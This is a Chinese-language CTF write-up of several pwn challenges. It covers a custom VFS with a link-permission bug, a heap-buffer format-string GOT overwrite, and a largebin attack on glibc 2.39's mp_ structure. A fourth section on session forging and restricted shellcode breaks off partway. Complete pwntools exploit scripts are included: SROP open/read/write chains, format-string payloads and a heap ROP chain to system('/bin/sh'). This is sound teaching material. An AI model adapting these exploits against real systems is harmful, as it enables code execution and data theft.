VFS

这个也是vfs,只不过不是堆而是栈了。

首先查看一下保护

LAPTOP-G0KOPP7R :: Lenovo/Desktop/attachment (1) 130 » checksec pwn
[*] '/mnt/d/Users/Lenovo/Desktop/attachment (1)/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

这里追进处理函数,加载了一个沙盒

void __fastcall handle_client(unsigned int fd)
{
  __int64 v1; // rdx
  __int64 v2; // rcx
  __int64 v3; // rsi
  __int64 v4; // r8
  __int64 v5; // r9

  if ( (unsigned int)install_seccomp(*(__int64 *)&fd, v3, v1, v2, v4, v5) )
    send_text(fd, "ERR seccomp failed\n");
  else
    vfs_sandbox(fd);
}

沙盒的话是让我们去打orw

=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0010
 0004: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0010
 0005: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0010
 0006: 0x15 0x03 0x00 0x00000003  if (A == close) goto 0010
 0007: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0010
 0008: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0010
 0009: 0x15 0x00 0x00 0x0000000f  /* no-op */
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS

先看一下这个文件系统的初始化

这里的说明了stack_core这个文件实际上一个装着 inode 表地址的特殊文件,实际的效果是下面这样的

  /dev/stack_core inode:
  perm = 1
  type = 0
  size = 24
  ptr  = &stack_core_blob
  stack_core_blob:
  ptr   = state->inodes
  size  = 0x550
  perm  = 1
  magic = "LNKPTR"
vfs_state_t *__fastcall init_system_files(vfs_state_t *state)
{
  size_t n; // rax
  vfs_state_t *state_1; // rax

  state->stack_core_blob.ptr = state->inodes;
  state->stack_core_blob.size = 1360;
  state->stack_core_blob.perm = 1;
  memcpy(state->stack_core_blob.magic, "LNKPTR", sizeof(state->stack_core_blob.magic));// Embedded fake link blob: ptr=inodes, size=0x550, perm=1, magic="LNKPTR". /dev/stack_core points here.
  memset(state->inodes, 0, sizeof(state->inodes));
  copy_name(state->inodes, "user_readme");
  state->inodes[0].used = 1;
  state->inodes[0].perm = 0;
  state->inodes[0].type = 0;
  state->inodes[0].size = 128;
  state->inodes[0].ptr = (uint64_t)state->disk;
  n = strlen("Welcome to VFS_Stack.\nCommands: LIST, READ, WRITE, TOUCH, HARDLINK, SOFTLINK, QUIT\n");
  memcpy(
    (void *)state->inodes[0].ptr,
    "Welcome to VFS_Stack.\nCommands: LIST, READ, WRITE, TOUCH, HARDLINK, SOFTLINK, QUIT\n",
    n);
  copy_name(&state->inodes[1], "/dev/stack_core");
  state->inodes[1].used = 1;
  state->inodes[1].perm = 1;
  state->inodes[1].type = 0;
  state->inodes[1].size = 24;
  state_1 = state;
  state->inodes[1].ptr = (uint64_t)state;
  return state_1;
}

再追踪几个函数,就能找到我们的程序的核心的处理的部分

void __fastcall menu_loop(unsigned int fd, inode_t *table, uint8_t *disk, write_ctx_t *ctx)
{
  _DWORD fda[3]; // [rsp+1Ch] [rbp-144h] BYREF
  size_t p_n128; // [rsp+28h] [rbp-138h] BYREF
  char *s1[2]; // [rsp+30h] [rbp-130h] BYREF
  char *dst[2]; // [rsp+40h] [rbp-120h]
  _QWORD v10[33]; // [rsp+50h] [rbp-110h] BYREF
  int line; // [rsp+158h] [rbp-8h]
  int n2; // [rsp+15Ch] [rbp-4h]

  memset(v10, 0, 256);
  *(_OWORD *)s1 = 0;
  *(_OWORD *)dst = 0;
  p_n128 = 128;
  while ( 1 )
  {
    n2 = 0;
    line = 0;
    *(_QWORD *)&fda[1] = 0;
    send_text(fd, "vfs> ");
    line = read_line(fd, v10, 256);
    if ( line <= 0 )
      break;
    n2 = split_line(v10, s1, 4);
    if ( n2 )
    {
      if ( !strcmp(s1[0], "HELP") )
      {
        show_help(fd);
      }
      else if ( !strcmp(s1[0], "LIST") )
      {
        cmd_list(fd, table);
      }
      else
      {
        if ( !strcmp(s1[0], "QUIT") )
        {
          send_text(fd, "bye\n");
          return;
        }
        if ( !strcmp(s1[0], "TOUCH") )
        {
          if ( n2 == 2 )
            cmd_touch(fd, table, disk, &p_n128, s1[1]);
          else
            send_text(fd, "ERR usage: TOUCH <name>\n");
        }
        else if ( !strcmp(s1[0], "HARDLINK") )
        {
          if ( n2 == 3 )
            cmd_hardlink(fd, table, disk, &p_n128, s1[1], dst[0]);
          else
            send_text(fd, "ERR usage: HARDLINK <src> <dst>\n");
        }
        else if ( !strcmp(s1[0], "SOFTLINK") )
        {
          if ( n2 == 3 )
            cmd_softlink(fd, table, s1[1], dst[0]);
          else
            send_text(fd, "ERR usage: SOFTLINK <src> <dst>\n");
        }
        else if ( !strcmp(s1[0], "READ") )
        {
          if ( n2 == 3 && !(unsigned int)parse_len(dst[0], &fda[1]) )
            cmd_read(fd, table, s1[1], *(size_t *)&fda[1]);
          else
            send_text(fd, "ERR usage: READ <name> <len>\n");
        }
        else if ( !strcmp(s1[0], "WRITE") )
        {
          if ( n2 == 3 && !(unsigned int)parse_len(dst[0], &fda[1]) )
            cmd_write(fd, table, ctx, s1[1], *(size_t *)&fda[1]);
          else
            send_text(fd, "ERR usage: WRITE <name> <len>\n");
        }
        else
        {
          send_text(fd, "ERR unknown command\n");
        }
      }
    }
  }
}

之后我们挨个审计,主要是去分析下面的这几个函数

这里有一个函数,这个作用主要是从普通文件生成一个 link-style 副本,简单表述的如下

输入一个已有的文件src,之后新建dst,也可以认为是iNode,把src拷贝进去disk里面,然后dst指针指向disk里面,之后把type设置为1

我们操作stack_core的效果是下面这样的

  HK inode:
  perm = 1
  type = 1
  size = 24
  ptr  = 某个 disk 地址
  disk里的内容:
  ptr   = state->inodes
  size  = 0x550
  perm  = 1
  magic = "LNKPTR"
void __fastcall cmd_hardlink(
        unsigned int fd,
        inode_t *table,
        uint8_t *disk,
        size_t *disk_used,
        const char *src,
        const char *dst)
  src_idx = find_inode(table, src);
  if ( src_idx >= 0 )
  {
    if ( (int)find_inode(table, dst) < 0 )
    {
      dst_idx = find_free_inode(table);
      if ( dst_idx >= 0 )
      {
        src_inode = &table[src_idx];
        dst_inode = &table[dst_idx];
        if ( src_inode->type )                  // Hardlink only checks src_inode->type == 0 and never calls inode_accessible(), so protected regular files like /dev/stack_core can still be cloned.
        {
          send_text(fd, "ERR hardlink source type not allowed\n");
        }
        else if ( (src_inode->size & 0x80000000) == 0 && src_inode->ptr )
        {
          copy_len = (int)src_inode->size;
          if ( *disk_used + copy_len <= 0x800 )
          {
            memset(dst_inode, 0, sizeof(inode_t));
            copy_name(dst_inode, dst);
            dst_inode->used = 1;
            dst_inode->perm = src_inode->perm;
            dst_inode->type = 1;
            dst_inode->size = src_inode->size;
            dst_inode->ptr = (uint64_t)&disk[*disk_used];
            memcpy((void *)dst_inode->ptr, (const void *)src_inode->ptr, copy_len);
            *disk_used += copy_len;
            send_text(fd, "OK\n");
          }

下面这个函数, 作用是用来把一个带 LNKPTR 标记的 blob 解释成软链接对象,这里是有个逻辑漏洞的,导致权限不能正常的处理

这个函数再读取这个 inode 所指向的内容,把这块内容按 link_blob_t 解释;如果其中有 "LNKPTR" 标记,就再新建一个 inode,并把 blob 中的 ptr、size、perm 赋给这个新 inode,最后把它的 type 设为 2。

这里的话正常的逻辑是这样的

  LK.type = 2;
  LK.size = blob->size;   // 0x550
  LK.ptr  = blob->ptr;    // state->inodes
  LK.perm = blob->perm;   // 本来应该是 1

但是因为注释中的检查,iNode的成员变成了下面这样

  perm = 0
  type = 2
  size = 0x550
  ptr  = state->inodes
void __fastcall cmd_softlink(unsigned int fd, inode_t *table, const char *src, const char *dst)
{
  src_idx = find_inode(table, src);
  if ( src_idx >= 0 )
  {
    if ( (int)find_inode(table, dst) < 0 )
    {
      dst_idx = find_free_inode(table);
      if ( dst_idx >= 0 )
      {
        src_inode = &table[src_idx];
        if ( src_inode->type == 2 )
        {
          send_text(fd, "ERR softlink source type not allowed\n");
        }
        else if ( (int)src_inode->size > 23 && src_inode->ptr )
        {
          blob = (link_blob_t *)src_inode->ptr;
          if ( !memcmp(blob->magic, "LNKPTR", 6u) )
          {
            dst_inode = &table[dst_idx];
            memset(dst_inode, 0, sizeof(inode_t));
            copy_name(dst_inode, dst);
            dst_inode->used = 1;
            dst_inode->type = 2;
            dst_inode->size = blob->size;
            dst_inode->ptr = (uint64_t)blob->ptr;
            if ( src_inode->type != 1 )         // If src_inode->type == 1 (hardlink), perm is not copied from the link blob. Because dst_inode was memset(0), the new softlink stays user-accessible with perm=0.
              dst_inode->perm = blob->perm;
            send_text(fd, "OK\n");
          }

这样把parm清零之后,我们就获得了任意地址的读写

之后通过这个函数,这个是用来泄露的

这里的读取是依据inode的字段的,iNode指向blob,blob指向真实的文件内容的存储的地址

void __fastcall cmd_read(unsigned int fd, inode_t *table, const char *name, size_t len)

  inode_idx = find_inode(table, name);
  inode = 0;
  memset(&fda[4], 0, 64);
  if ( inode_idx >= 0 )
  {
    inode = &table[inode_idx];
    LOBYTE(v4) = inode_accessible(inode);
    if ( v4 )
    {
      if ( (int)inode->size >= len )
      {
        snprintf(&fda[4], 0x40u, "DATA %zu\n", len);
        send_text(fd, &fda[4]);
        write_all(fd, (char *)inode->ptr, len);

还有一个函数,这个是用来写的

void __fastcall cmd_write(unsigned int fd, inode_t *table, write_ctx_t *ctx, const char *name, size_t len)
  LODWORD(inode) = find_inode(table, name);
  if ( (int)inode >= 0 )
  {
    inode_idx = &table[(int)inode];
    LOBYTE(v5) = inode_accessible(inode_idx);
    if ( v5 )
    {
      if ( len <= 0x400 )
      {
        if ( (int)inode_idx->size >= len )
        {
          send_text(fd, "READY\n");
          if ( (int)read_exact(fd, ctx, len) >= 0 )
          {
            ctx->len = len;
            do_commit(ctx, inode_idx);
            send_text(fd, "OK\n");
          }

当我们铺垫好,执行连续srop即可

依次调用

open

read

write即可

最终效果如下

最后的exp如下

#!/usr/bin/env python3
from pwn import *
from struct import pack, unpack
context.terminal = ['tmux','split','-l 100']
context.binary = ELF('./pwn', checksec=False)
elf = context.binary
libc = ELF('./libc.so.6', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'

host = '127.0.0.1'
port = 9999
flag_path = b'/flag\x00'
read_sz = 0x100
local = 1

io = 0
cur_tbl = bytearray()
stack_base = 0
aa_idx = 0


def pack_inode(name, used, perm, typ, size, ptr):
    if isinstance(name, str):
        name = name.encode()
    name = name.ljust(0x10, b'\x00')[:0x10]
    return pack('<16sIIIIQ', name, used, perm, typ, size, ptr)


def parse_inode(data):
    name, used, perm, typ, size, ptr = unpack('<16sIIIIQ', data)
    return {
        'name': name.split(b'\x00')[0].decode('latin1'),
        'used': used,
        'perm': perm,
        'type': typ,
        'size': size,
        'ptr': ptr,
    }


def create_io():
    global io
    if local:
        io = process('./pwn', stdin=PTY, stdout=PTY)
    else:
        io = remote(host, port)


def cmdline(cmd):
    io.sendline(cmd)
    return io.recvuntil(b'vfs> ')


def read_file(name, n):
    io.sendline(b'READ ' + name + b' ' + str(n).encode())
    hdr = io.recvline().strip()
    want = b'DATA ' + str(n).encode()
    if hdr != want:
        raise RuntimeError(f'Unexpected READ header: {hdr!r}, expected {want!r}')
    data = io.recvn(n)
    io.recvuntil(b'vfs> ')
    return data


def write_file(name, data):
    if len(data) > 0x400:
        raise RuntimeError(f'cmd_write chunk too large: {len(data):#x}')
    io.sendline(b'WRITE ' + name + b' ' + str(len(data)).encode())
    hdr = io.recvline().strip()
    if hdr != b'READY':
        raise RuntimeError(f'Unexpected WRITE header: {hdr!r}')
    io.send(data)
    out = io.recvuntil(b'vfs> ')
    if out != b'OK\nvfs> ':
        raise RuntimeError(f'Unexpected WRITE result: {out!r}')


def patch_A(ptr, size, typ=0):
    global cur_tbl
    off = aa_idx * 0x28
    # 把 AA 这个 inode 的 ptr/size 改掉,后面 READ/WRITE AA 就落到目标地址。
    cur_tbl[off:off + 0x28] = pack_inode('AA', 1, 0, typ, size, ptr)
    write_file(b'LK', bytes(cur_tbl))


def arb_read(addr, n):
    patch_A(addr, max(n, 1))
    return read_file(b'AA', n)


def arb_write(addr, data):
    for off in range(0, len(data), 0x400):
        chunk = data[off:off + 0x400]
        patch_A(addr + off, max(len(chunk), 1))
        write_file(b'AA', chunk)


# 先借 LK 读出 inode 表,拿到 stack_core 指针和 AA 的表项位置。
def pwn1():
    global cur_tbl
    global stack_base
    global aa_idx

    io.recvuntil(b'vfs> ')
    for cmd in [b'HARDLINK /dev/stack_core HK', b'SOFTLINK HK LK', b'TOUCH AA']:
        out = cmdline(cmd)
        if out != b'OK\nvfs> ':
            raise RuntimeError(f'Bootstrap failed on {cmd!r}: {out!r}')

    leak = read_file(b'LK', 0x550)
    inodes = [parse_inode(leak[i * 0x28:(i + 1) * 0x28]) for i in range(8)]
    for i, inode in enumerate(inodes):
        log.info('inode[%d] = %r', i, inode)

    stack_base = next(x['ptr'] for x in inodes if x['name'] == '/dev/stack_core')
    aa_idx = next(i for i, x in enumerate(inodes) if x['name'] == 'AA')
    cur_tbl = bytearray(leak[:0x400])
    log.success('stack base = %#x', stack_base)
    log.success('AA index   = %d', aa_idx)


# 用任意读先算 libc,再把 flag 路径和三段 SROP frame 摆到栈上。
def pwn2():
    write_leak = u64(arb_read(elf.got['write'], 8))
    libc.address = write_leak - libc.sym['write']
    log.success('write@libc = %#x', write_leak)
    log.success('libc base  = %#x', libc.address)

    rop = ROP(libc)
    pop_rax = rop.find_gadget(['pop rax', 'ret']).address
    syscall = rop.find_gadget(['syscall', 'ret']).address
    log.info('pop_rax = %#x', pop_rax)
    log.info('syscall = %#x', syscall)

    # 栈上这两块空间分别放 flag 路径和 read 的回填缓冲区。
    path_addr = stack_base + 0x300
    buf_addr = stack_base + 0x500
    arb_write(path_addr, flag_path)

    # 这里是 vfs_sandbox() 保存返回地址的位置,QUIT 后会从这里起跳。
    ret_addr = stack_base + 0xdf8

    frame1 = SigreturnFrame(kernel='amd64')
    frame1.rax = constants.SYS_open
    frame1.rdi = path_addr
    frame1.rsi = 0
    frame1.rdx = 0
    frame1.rip = syscall

    chain2_addr = ret_addr + 24 + len(bytes(frame1))
    frame1.rsp = chain2_addr

    frame2 = SigreturnFrame(kernel='amd64')
    frame2.rax = constants.SYS_read
    frame2.rdi = 3
    frame2.rsi = buf_addr
    frame2.rdx = read_sz
    frame2.rip = syscall

    chain3_addr = chain2_addr + 24 + len(bytes(frame2))
    frame2.rsp = chain3_addr

    frame3 = SigreturnFrame(kernel='amd64')
    frame3.rax = constants.SYS_write
    frame3.rdi = 0
    frame3.rsi = buf_addr
    frame3.rdx = read_sz
    frame3.rip = syscall
    frame3.rsp = chain3_addr + 24 + len(bytes(frame3)) + 0x100

    # 三段链顺着做 open(flag) -> read(3, buf) -> write(0, buf)。
    chain = flat(
        pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame1),
        pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame2),
        pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame3),
    )

    if len(chain) > 0x400:
        raise RuntimeError(f'Final SROP chain too large: {len(chain):#x}')
    return ret_addr, chain


# 把返回地址改成 SROP 链,再用 QUIT 触发函数返回。
def pwn3(ret_addr, payload):
    arb_write(ret_addr, payload)
    io.sendline(b'QUIT')
    return io.recvall()


def exp():
    create_io()
    pwn1()
    ret_addr, payload = pwn2()
    #gdb.attach(io,"b *0x402BC3")
    out = pwn3(ret_addr, payload)
    print(out.decode('latin1', errors='replace'))


if __name__ == '__main__':
    exp()

checkin

非栈上格式化漏洞

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("Please checkin first");
  read(0, buf, 256u);
  printf(buf);
  _exit(0);
}

看一下保护

没有开启got表保护,有足够的空间,而且没有开启pie

[*] '/mnt/d/Users/Lenovo/Desktop/attachment/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

思路的话就是改got表,首先实现无限重启,这个是2.39版本,没法劫持exit_hook

这里我们是个fmt写到全局变量而不是栈上,我们可以选择覆写栈上的残留的地址,也可以通过%n把内容写到栈上,然后进而错位完成修改,这里我们找一个合适的便宜,把got表写上去

之后的我们用%xx$xxn这种形式的,会给我们我们报错,我们最后使用了最原始的填充方法之后才能绕过,这里直接就能实现了重启,我们可以修改exit的got表,其实没有exit修改fini_array都是可以的,这里我们主要是利用了延迟绑定,没有把exit的got值改到libc之前进行修改。

再之后我们利用栈上的偏移地址泄露出来libc

再之后我们改printf为system。这里我们先把got表写到栈上,然后利用栈进行两次错位,把printf的低4字节拆成两次覆写即可

这里我们还是不能用$,只能用格式化的参数堆叠,一个是偏移30的位置写上了我们的got表,然后我们再在偏移32的位置上写上我们的 got表+2的数值。之后在42和49的位置上的进行覆写got表

最后输入binsh执行即可

最终exp如下

from pwn import *
context(os='linux', arch='amd64', log_level='info')
context.terminal = ['tmux', 'splitw', '-l 100']
elf = ELF('./pwn')
libc = ELF('./libc.so.6')




def pwn1(io):
    # 先把 _exit@got 改成 main,拿到下一次输入机会。
    stage1 =  b'%4210664c' + b'%c'*24 + b'%ln' + b'%c'*10 + b'%53676c' + b'%hn'

    io.recvuntil(b'Please checkin first\n')
   # gdb.attach(io,"b *0x40124F")
    io.send(stage1)


def pwn2(io):
    # 打印栈上的值,泄漏 libc 地址。
    io.recvuntil("Please checkin first\n")
    stage2 = b'%9$p\x00\x00\x00'+b'\x00'*0x90
    io.send(stage2)
    io.recvuntil(b'0x')
    leak = int(io.recv(12), 16)
    libc.address = leak - 0x2a1ca
    print(hex(libc.address))
    pause()
    return libc.sym.system


def pwn3(io, system):
    # 把 printf@got 改成 system,下一次发送的字符串就会被当成命令执行。
    low = system & 0xffff
    mid = (system >> 16) & 0xffff
    w1 = ((low - 0x4012) % 0x10000) - 8
    w2 = ((mid - low) % 0x10000) - 5

    stage3 = (
        b'%4210676c' +
        b'%c'*28 +
        b'%ln' +
        b'%cA%ln' +
        b'%c'*8 +
        f'%{w1}c'.encode() +
        b'%hn' +
        b'%c'*5 +
        f'%{w2}c'.encode() +
        b'%hn\n'
    )

    io.send(stage3)

def exp():
    io = process('./pwn')
    #io = remote('114.66.24.221',46419)

    pwn1(io)
    system = pwn2(io)
    pwn3(io, system)

    io.send(b'cat /flag\x00')
    io.interactive()


if __name__ == '__main__':
    exp()

ezheap

这个标准解的话是打IO,因为给了exit,而且还给了largebin,而且这个题目可以打largebin

这里我们使用了另一种打法,这里我们选择用largebin打mp_

查看一下保护,保护基本全开

LAPTOP-G0KOPP7R :: Lenovo/Desktop/attachment.bak » checksec pwn
[*] '/mnt/d/Users/Lenovo/Desktop/attachment.bak/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

然后来简单的分析一下,这里的add只能申请largebin大小的chunk

__int64 add_chunk()
{
  unsigned int n0x20; // [rsp+Ch] [rbp-14h]
  signed __int64 n1103; // [rsp+10h] [rbp-10h]

  write_str("idx : ");
  n0x20 = read_long();
  if ( n0x20 >= 0x20 )
    return write_str("invalid idx\n");
  write_str("size : ");
  n1103 = read_long();
  if ( n1103 <= 0x44F || n1103 > 0x550 )
    return write_str("invalid size\n");
  chunks[n0x20] = malloc(n1103);
  if ( !chunks[n0x20] )
  {
    write_str("malloc failed\n");
    _exit(1);
  }
  sizes[n0x20] = n1103;
  return write_str("done\n");
}

这里的edit有一个0字节的溢出

__int64 edit_chunk()
{
  _BYTE *buf; // rbx
  unsigned int n0x20; // [rsp+Ch] [rbp-14h]

  write_str("idx : ");
  n0x20 = read_long();
  if ( n0x20 >= 0x20 )
    return write_str("invalid idx\n");
  if ( !chunks[n0x20] )
    return write_str("empty\n");
  write_str("content : ");
  buf = (_BYTE *)chunks[n0x20];
  buf[read(0, buf, sizes[n0x20])] = 0;
  return write_str("done\n");
}

之后的话就没有什么漏洞了

这里的show函数是用的友好的write的函数

__int64 show_chunk()
{
  unsigned int n0x20; // [rsp+Ch] [rbp-4h]

  write_str("idx : ");
  n0x20 = read_long();
  if ( n0x20 >= 0x20 )
    return write_str("invalid idx\n");
  if ( !chunks[n0x20] )
    return write_str("empty\n");
  write(1, (const void *)chunks[n0x20], sizes[n0x20]);
  return write_str("done\n");
}

mp的话也是这个malloc_par

这里我们主要来讲一下地址的泄露,以及2.39的unlink和对于mp地址的劫持的原理

这里我们简化了堆风水,优先展示了mp的地址劫持,实际上的利用是更加复杂的对于堆风水的要求

实际上,我们需要准备好两组的overlap之后,再去进行largebinattack

首先我们申请后释放,泄露出来libc的地址

之后我们泄露出来heap地址

之后通过堆叠,这里需要注意伪造的时候沿用之前的堆地址即可,效果如下,这样之后我们经过切割之后就拥有了一个uaf

之后再切割后复原,这样之后可以继续使用这个去创造uaf,创造出来之后,就能去打largebin

之后我们找一个同一个largebin范围,然后小0x10的chunk插入,准备触发largebinattack,在次之间我们修改好bk_nextsize

我们把下面这个结构体成员改大,这样之后就能进入tcache了

修改之后的效果如下,这里可以看到这里的0x40被我们改成一个很大的数值了

补充一下,这个0x40对应的mp_.tcache_bins这个结构体,这里主要是用来提高进入tcache的上限

这里实际上largebinattack的堆布局的情况是更加复杂的

修改好之后的效果如下,这里0x60的位置上已经是存储了我们的chunk了

之后就是泄露栈地址

之后写栈地址的好像计算错了,也可以认为是我们写错对应的chunk的idx了

改好之后就能成功的拿到shell

最终exp如下

from pwn import *
context(os='linux', arch='amd64', log_level='info')
context.terminal = ['tmux','split','-l 100']
file_name = "./pwn"
libc_name = "./libc.so.6"
host = "114.66.24.221"
port = 49346

elf = ELF(file_name)
libc = ELF(libc_name)
io = 0

system = 0x58750
binsh = 0x1CB42F
pop_rdi = 0x10F78B
ret = 0x2882F

sizes = {}

def create_io():
    global io
    io = process(file_name)
    #io = remote(host, port)

def request2size(req):
    return (req + 0x8 + 0xF) & ~0xF

def enc(pos, ptr):
    return (pos >> 12) ^ ptr

def qword(data):
    return u64(data.ljust(8, b"\x00"))

def choice(value):
    io.sendlineafter(b"choice >> ", str(value).encode())

def add(idx, size):
    choice(1)
    io.sendlineafter(b"idx : ", str(idx).encode())
    io.sendlineafter(b"size : ", str(size).encode())
    io.recvuntil(b"done\n")
    sizes[idx] = size

def edit(idx, data, exact=False):
    choice(2)
    io.sendlineafter(b"idx : ", str(idx).encode())
    io.recvuntil(b"content : ")
    if exact:
        assert len(data) == sizes[idx]
    io.send(data)
    io.recvuntil(b"done\n")

def delete(idx):
    choice(3)
    io.sendlineafter(b"idx : ", str(idx).encode())
    io.recvuntil(b"done\n")

def show(idx):
    choice(4)
    io.sendlineafter(b"idx : ", str(idx).encode())
    data = io.recvn(sizes[idx])
    io.recvuntil(b"done\n")
    io.recvuntil(b"invalid\n")
    return data

# 这一段先拿 libc,再把 largebin 和 tcache poisoning 原语搭起来
def pwn1():
    add(24, 0x4F8)
    add(25, 0x4F8)
    delete(24)
    add(26, 0x4F8)
    #gdb.attach(io)
    leak = qword(show(26)[:8])
    libc_base = leak - 0x203B20
    log.info(f"libc base     = {hex(libc_base)}")

    # 第一组 overlap 先做出来,后面直接拿它去打 largebin attack
    base = 0
    add(base + 0, 0x468)
    add(base + 1, 0x4F8)
    add(base + 2, 0x548)
    add(base + 3, 0x450)
    delete(base + 0)
    add(base + 4, 0x478)
    #gdb.attach(io)
    add(base + 5, 0x468)
    #gdb.attach(io)
    leak = show(base + 5)
    bins_p1_user = qword(leak[0x10:0x18])
    log.info(f"p1 user leak  = {hex(bins_p1_user)}")

    payload = flat(
        bins_p1_user,
        bins_p1_user,
        0,
        0,
        b"A" * (0x468 - 0x20 - 8),
        request2size(0x468),
    )
    #泄露出来之后就能进行堆叠
    edit(base + 5, payload, exact=True)
    delete(base + 1)
    #gdb.attach(io)
    #这里进行复原,以便于再次使用
    add(base + 6, 0x468)
    add(base + 7, request2size(0x4F8) - 0x10)
    #gdb.attach(io)
    # 第二组 overlap 留给后面反复申请任意地址附近的 chunk
    base = 10
    add(base + 0, 0x518)
    add(base + 1, 0x4F8)
    add(base + 2, 0x548)
    add(base + 3, 0x4F8)
    delete(base + 0)
   # gdb.attach(io)
    add(base + 4, 0x548)
    add(base + 5, 0x518)

    leak = show(base + 5)
    pois_p1_user = qword(leak[0x10:0x18])
    log.info(f"p1 user leak  = {hex(pois_p1_user)}")

    payload = flat(
        pois_p1_user,
        pois_p1_user,
        0,
        0,
        b"A" * (0x518 - 0x20 - 8),
        request2size(0x518),
    )
    edit(base + 5, payload, exact=True)
    delete(base + 1)
    add(base + 6, 0x518)
    add(base + 7, request2size(0x4F8) - 0x10)

    # 两组 overlap 都搭好之后,再拿第一组去打 largebin attack
    base = 0
    delete(base + 6)
    add(base + 8, 0x478)
    #gdb.attach(io)
    delete(base + 3)
    #gdb.attach(io)
    freed = show(base + 5)
    forged = bytearray(freed[:0x20])
    forged[0x18:0x20] = p64(libc_base + 0x2031E8 - 0x20)
    edit(base + 5, bytes(forged))
    #gdb.attach(io)
    add(base + 9, 0x478)

    return libc_base, pois_p1_user

# 这一段先拿栈地址,再把 chunk 直接打到 edit 的返回地址附近
def pwn2(libc_base, pois_p1_user):
    owner = 16

    # 先把 tcache fd 改到 environ 附近,从读出来的内容里拿栈地址
    target = (libc_base + 0x20AD58 - 0x28) & ~0xF
    add(20, 0x518)
    delete(20)
    delete(owner)
    edit(15, p64(enc(pois_p1_user, target)))
    add(21, 0x518)
    add(22, 0x518)
    owner = 21
    blob = show(22)
    stack_env = qword(blob[0x28:0x30])
    log.success(f"environ @ {hex(stack_env)}")

    # edit 的返回地址相对 environ 固定小 0x150,直接把 chunk 打过去
    edit_rip = stack_env - 0x150
    target = (edit_rip - 0x28) & ~0xF
    rip_off = edit_rip - target
    add(20, 0x518)
    delete(20)
    delete(owner)
    edit(15, p64(enc(pois_p1_user, target)))
    add(21, 0x518)
    add(22, 0x518)
    return 0, 0x28

# 这一段直接覆盖 edit 的返回地址起 shell
def pwn3(libc_base, stack_idx, rip_off):
    payload = flat(
        {
            rip_off - 8: 0,
            rip_off + 0x20: libc_base + ret,
            rip_off + 8 + 0x20: libc_base + pop_rdi,
            rip_off + 16 + 0x20: libc_base + binsh,
            rip_off + 24 + 0x20: libc_base + system
        }
    )
    gdb.attach(io)
    edit(stack_idx, payload)

def exp():
    libc_base, pois_p1_user = pwn1()
    stack_idx, rip_off = pwn2(libc_base, pois_p1_user)
    pwn3(libc_base, stack_idx, 0)
    io.interactive()

if __name__ == "__main__":
    create_io()
    exp()

最后的一舞

我们这个题目倒着往前推,在server中有这个代码段

                  if ( !pid )
                  {
                    child_argv[1] = 0;
                    child_argv[0] = "./pwn_worker";
                    if ( dup2(client_fd, 0) >= 0 && dup2(client_fd, 1) >= 0 && dup2(client_fd, 2) >= 0 )
                    {
                      close(client_fd);
                      execve("./pwn_worker", child_argv, environ);
                    }
                    _exit(1);
                  }
                  waitpid(pid, &child_status, 0);
                }
              }

执行的限制如下,这里是需要知道key的数值的

              provided_key[n127] = 0;
              if ( !strcmp((const char *)key_file_buf, provided_key) )
              {

key是来自这个文件

          key_file_1 = fopen("root.mys", "r");
          key_file = key_file_1;

前面还需要进行session的认证

        LOBYTE(v6) = has_valid_admin_session_cookie(raw_request);// Inline /pwn handler: require admin cookie before reading root.mys and validating key=.
        if ( v6 )

只有通过之后,才能执行pwn_worker这个程序,这个程序实质上执行shellcode的程序

  __dprintf_chk(1, 2, "HTTP/1.1 200 OK\r\nConnection: Upgrade\r\nUpgrade: raw-stream\r\n\r\n");
  buf_3 = mmap(0, 0x1000u, 3, 34, -1, 0);
  if ( buf_3 != (void *)-1LL )
  {
    buf = buf_3;
    puts("[*] Welcome to The Void Echo.");
    puts("[*] Rules: Length <= 25, No 0x0f, 0xcd, 0x80, 0x2f, 0x50-0x57.");
    puts("[*] Environment: No Stack (RSP=0), RX Memory, Zeroed Regs.");
    __printf_chk(2, "> ");
    fflush(_bss_start);
    v5 = read(0, buf, 0x18u);
    if ( v5 > 0 )
    {
      buf_1 = (char *)buf;
      buf_2 = (__int64)buf + (unsigned int)(v5 - 1) + 1;
      do
      {
        n0x80 = *buf_1;
        if ( *buf_1 == (char)0xCD
          || (*buf_1 & 0xDF) == 0xF
          || n0x80 == (char)0x80
          || (unsigned __int8)(n0x80 - 80) <= 7u )
        {
          puts("[!] Heresy detected. Connection terminated.");
          goto LABEL_9;
        }
        ++buf_1;
      }
      while ( (char *)buf_2 != buf_1 );
      if ( !mprotect(buf, 0x1000u, 5) )
      {
        close(1);
        __asm { jmp     r11 }
      }
    }
  }
LABEL_9:
  exit(1);
}

我们首先是调用/login,泄露rand()输出,进而可以恢复管理员的session

简单的摘一下将要用到的变量

这里我们一开始是想泄露出来expected_password这个,后来发现只要泄露出来s_就行了

  __int128 v27; // [rsp+0h] [rbp-22C8h] BYREF
  char s_[16]; // [rsp+10h] [rbp-22B8h] BYREF
  __int128 v29; // [rsp+20h] [rbp-22A8h]
  char expected_password[32]; // [rsp+30h] [rbp-2298h] BYREF

